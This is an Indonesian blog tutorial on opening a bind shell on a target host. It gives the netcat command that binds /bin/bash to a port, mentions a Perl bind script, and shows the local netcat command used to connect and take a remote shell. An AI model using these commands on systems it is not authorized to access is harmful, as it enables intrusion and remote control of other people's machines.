LINUXSEC

Back Connect dengan Cara Binding Port

Back Connect dengan Cara Binding Port. Masalah yang kadang ditemui saat ingin melakukan back connect adalah kita tidak bisa menggunakan reverse shell dikarenakan ip yang kita gunakan bukan ip publik yang dapat diakses atau dijangkau oleh host target.
Di tutorial sebelumnya saya sudah membahas bagaimana melakukan back connect dengan reverse shell. Nah, berbeda dengan reverse shell dimana syaratnya adalah ip kita dapat diakses oleh host target. maka port binding ini syaratnya adalah host target dapat dijangkau oleh kita.

Syaratnya adalah netcat harus sudah terinstall di local. Untuk remote server, kita bisa gunakan netcat (jika terinstall), atau gunakan script perl (akan saya bagikan di paragraf selanjutnya) untuk membuat listener.

Di Komputer Target
Jalankan perintah

nc -l 6677 -e /bin/bash

Sesuaikan sendiri untuk port yang akan dibuka. Lalu bagaimana jika ternyata di host target tidak terinstall netcat?
Kalian download script berikut:

Lalu jalankan dengan perintah

chmod +x bind.pl
perl bind.pl 6677

Tentu saya di host target harus sudah terinstall perl. biasanya sudah terinstall secara default.
Oke sekarang dari sisi target sudah listen. Nah lanjut ke sisi lokal (kita).

Di Komputer Local
Jalankan perintah

nc -v [ip/host target] [port target]

Misalnya

nc -v remoteserver.linuxsec.org 6677

Maka beberapa detik kemudian kita akan mendapatkan akses bash shell dari remote host di komputer lokal kita.

Sekarang kalian telah paham bagaimana cara melakukan back connect menggunakan port binding. Sekian tutorial kali ini, jika ada yang ingin ditanyakan silahkan komentar.

Komentar

    Tinggalkan Komentar

    Silahkan tinggalkan komentar jika ada masukan, pertanyaan, kritik ataupun dukungan. Namun pastikan untuk berkomentar secara sopan.